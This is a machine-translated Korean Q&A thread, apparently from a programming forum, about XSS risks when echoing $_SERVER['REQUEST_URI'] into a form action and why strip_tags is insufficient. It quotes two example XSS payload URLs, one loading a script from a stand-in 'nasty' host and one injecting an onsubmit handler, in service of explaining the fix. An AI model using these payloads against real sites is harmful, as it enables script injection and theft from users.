서버 변수를 페이지에 반영 할 때 모든베이스를 보안으로 다루었습니까?
문제
내가 항상 사용한 형태로
<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">
내 양식을 스스로 제출하기 위해.
나는 사용한다 striptags()
누군가가 다음과 연결되는 경우 :
http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#
XSS 공격으로부터 고정하기 위해 모든 기지를 덮었거나, 더 화이트리스트 접근법을 사용해야 하는가, 알파 너머리 캐릭터, 전방 슬래시, 물음표, 동등한 부호, 괄호 등을 허용하는 정규식을 사용해야합니까?
고맙습니다!
해결책
사용 htmlspecialchars
대신에 strip_tags
.
다른 팁
동일한 스키마/호스트/경로를 참조하려면 간단한 조치 = "?" SCHOULD 충분합니다. 에 따르면 http://tools.ietf.org/html/rfc3986#section-4.2
relative-ref = relative-part [ "?" query ] [ "#" fragment ] relative-part = "//" authority path-abempty / path-absolute / path-noscheme / path-empty
유효한 상대 URI입니다.
이것을 보내서 양식을 제출하십시오.
$_SERVER["PHP_SELF"]
해당 글로벌 변수는 현재 페이지를 출력합니다. 그 이유가 없다면 전체 쿼리 문자열이 필요하지 않으면?
편집하다
Volkerk가 주석에서 지적한 이후로 PHP_SELF
취약합니다. PHP_SELF
그리고 당신이 알고있는 나머지 URI를 당신의 페이지의 일부가 아니라는 것을 폭발시킵니다. 이 같은:
$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI
echo $page_on;
당신의 경우 striptags()
스트립 태그 만 (각도 브래킷을 포함하여 "<"와 ">"사이의 문자)만으로도 누군가가 여전히 JavaScript를 주입 할 수 있습니다.
http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="
HTML, JavaScript 및 CSS (즉, 각도 브래킷, 괄호, 괄호, 반 콜론, 이중 견적, 단일 견적 등)의 가능한 모든 메타 문자를 더 잘 방문하십시오.
양식이 스스로 제출되기를 원한다면, 그냥 행동을 비워 두십시오.
<form action="" method="POST">
...
</form>